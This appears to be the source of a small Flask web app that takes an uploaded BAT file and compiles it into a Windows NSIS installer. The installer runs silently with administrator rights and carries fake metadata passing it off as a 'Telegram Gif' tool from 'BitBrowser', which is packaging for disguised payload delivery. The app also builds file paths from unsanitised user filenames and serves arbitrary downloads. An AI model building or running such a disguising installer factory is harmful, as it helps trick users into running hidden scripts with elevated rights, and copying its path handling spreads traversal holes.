Spaces:
Sleeping
Sleeping
from flask import Flask, request, send_file, render_template_string | |
import os | |
import subprocess | |
app = Flask(__name__) | |
UPLOAD_FOLDER = 'uploads' | |
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER | |
# HTML template for the index page | |
HTML_TEMPLATE = """ | |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>NSIS Installer Creator</title> | |
</head> | |
<body> | |
<h1>Upload Files to Create NSIS Installer</h1> | |
<form action="/upload" method="post" enctype="multipart/form-data"> | |
<label for="bat_file">Upload BAT file:</label> | |
<input type="file" name="bat_file" required><br><br> | |
<input type="submit" value="Upload and Compile"> | |
</form> | |
</body> | |
</html> | |
""" | |
def index(): | |
return render_template_string(HTML_TEMPLATE) | |
def upload_files(): | |
if 'bat_file' not in request.files: | |
return "No file part", 400 | |
bat_file = request.files['bat_file'] | |
if bat_file.filename == '': | |
return "No selected file", 400 | |
# Define the path to save the uploaded file | |
bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename) | |
# Save the uploaded file | |
bat_file.save(bat_path) | |
# Construct the NSIS script using the provided path | |
nsi_script = f"""!include "MUI2.nsh" | |
# Define installer name and version | |
Outfile "bont.exe" | |
InstallDir "$PROGRAMDATA" | |
# Set the name of the application | |
Name "Telegram Gif" | |
Caption "bont 1.4.44.3" | |
VIProductVersion "1.4.44.3" | |
# Set the output directory and the base name of the installer file | |
SetCompressor /SOLID lzma | |
RequestExecutionLevel admin | |
# Silent install settings | |
SilentInstall silent | |
SilentUninstall silent | |
# Application metadata | |
VIAddVersionKey "ProductName" "Telegram Gif" | |
VIAddVersionKey "FileVersion" "1.4.44.3" | |
VIAddVersionKey "CompanyName" "BitBrowser" | |
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser" | |
VIAddVersionKey "FileDescription" "Telegram Gif is a tool designed to enhance GIF handling and sharing on Telegram." | |
VIAddVersionKey "ProductVersion" "1.4.44.3" | |
VIAddVersionKey "OriginalFilename" "telegramm.exe" | |
# Define installer sections | |
Section "Install" | |
SetOutPath "$INSTDIR" | |
# Files to install | |
File "{bat_path}" | |
SectionEnd | |
""" | |
nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi') | |
with open(nsi_path, 'w') as nsi_file: | |
nsi_file.write(nsi_script) | |
# Compile the NSIS script | |
try: | |
result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True) | |
return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200 | |
except subprocess.CalledProcessError as e: | |
return f"Compilation failed: {e.stderr}", 400 | |
def download_file(filename): | |
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True) | |
if __name__ == '__main__': | |
if not os.path.exists(UPLOAD_FOLDER): | |
os.makedirs(UPLOAD_FOLDER) | |
app.run(host='0.0.0.0', port=7860) | |